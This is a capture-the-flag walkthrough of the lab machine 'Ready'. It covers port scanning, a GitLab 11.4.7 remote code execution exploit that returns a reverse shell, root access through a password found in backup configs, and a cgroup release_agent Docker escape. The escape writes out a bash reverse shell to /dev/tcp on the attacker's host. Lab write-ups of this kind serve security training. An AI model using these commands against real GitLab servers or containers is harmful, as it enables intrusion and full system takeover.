Ready

In this machine, we exploit a CVE in GitLab that lets us run commands. For privilege escalation, we escape from a Docker container that has the cap_sys_admin capability
June 7, 20245 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
ping -c 1 10.10.10.220
PING 10.10.10.220 (10.10.11.254) 56(84) bytes of data.
64 bytes from 10.10.11.254: icmp_seq=1 ttl=63 time=38.4 ms
--- 10.10.10.220 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.381/38.381/38.381/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.220 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.220
5 │ [*] Open ports: 22,5080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
> nmap -p22,5080 -sCV 10.10.10.220 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
|_http-trane-info: Problem with XML parsing of /evox/about
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Port 5080
There is a GitLab running on port 5080. When we open it, it lets us create an account, so we create one and log in with it.
Once authenticated, if we go to /help, the GitLab version shows up: 11.4.7
With searchsploit we find that this version is vulnerable to RCE
searchsploit gitlab 11.4.7
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Aut | ruby/webapps/49257.py
GitLab CE/EE < 16.7.2 - Password Reset | java/remote/51889.txt
------------------------------------------- ---------------------------------
None of these exploits worked for me, so we’ll use another one I found on GitHub
git clone https://github.com/dotPY-hax/gitlab_RCE
cd gitlab_RCE
python3 gitlab_rce.py http://10.10.10.220:5080 10.10.14.32
Gitlab Exploit by dotPY [insert fancy ascii art]
registering LonNmLDZ17:5FPfA5fANt - 200
Getting version of http://10.10.10.220:5080 - 200
The Version seems to be 11.4.7! Choose wisely
delete user LonNmLDZ17 - 200
[0] - GitlabRCE1147 - RCE for Version <=11.4.7
[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more
[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP
type a number and hit enter to choose exploit: 0
Start a listener on port 42069 and hit enter (nc -vlnp 42069)
registering SrqNdC0XFY:XDdWDl100T - 200
hacking in progress - 200
delete user SrqNdC0XFY - 200
While it runs, it asks us to listen on a port with nc (nc -nlvp 42069)
Once the script finishes, we get the reverse shell.
Privilege escalation
Before going on, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm
export TERM=xterm
Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash
export SHELL=bash
After searching the system, we find a folder inside /opt called backups, which stands out
git@gitlab:/opt$ ls
backup gitlab
Inside backup, we cat all the files and filter for relevant information such as password
git@gitlab:/opt/backup$ cat * | grep password
gitlab_rails['initial_root_password']=File.read('/root_pass')
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59......"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
Among all the output, we see a password: wW59……
Which works for the root user
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup#
With ls -l on the root directory, we realize we are inside a Docker container, since there is a .dockerenv
root@gitlab:/opt/backup# ls -la /
total 100
drwxr-xr-x 1 root root 4096 Apr 5 2022 .
drwxr-xr-x 1 root root 4096 Apr 5 2022 ..
-rwxr-xr-x 1 root root 0 Apr 5 2022 .dockerenv
We start by enumerating the container’s capabilities with
root@gitlab:/opt/backup# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Among all the capabilities reported, we find cap_sys_admin
Having this capability lets us escape from the container, like this
We listen on port 444
nc -nlvp 444
We run all of this on the target machine
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo " bash -i >& /dev/tcp/10.10.14.32/444 0>&1> $host_path/output" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
We get the reverse shell!!!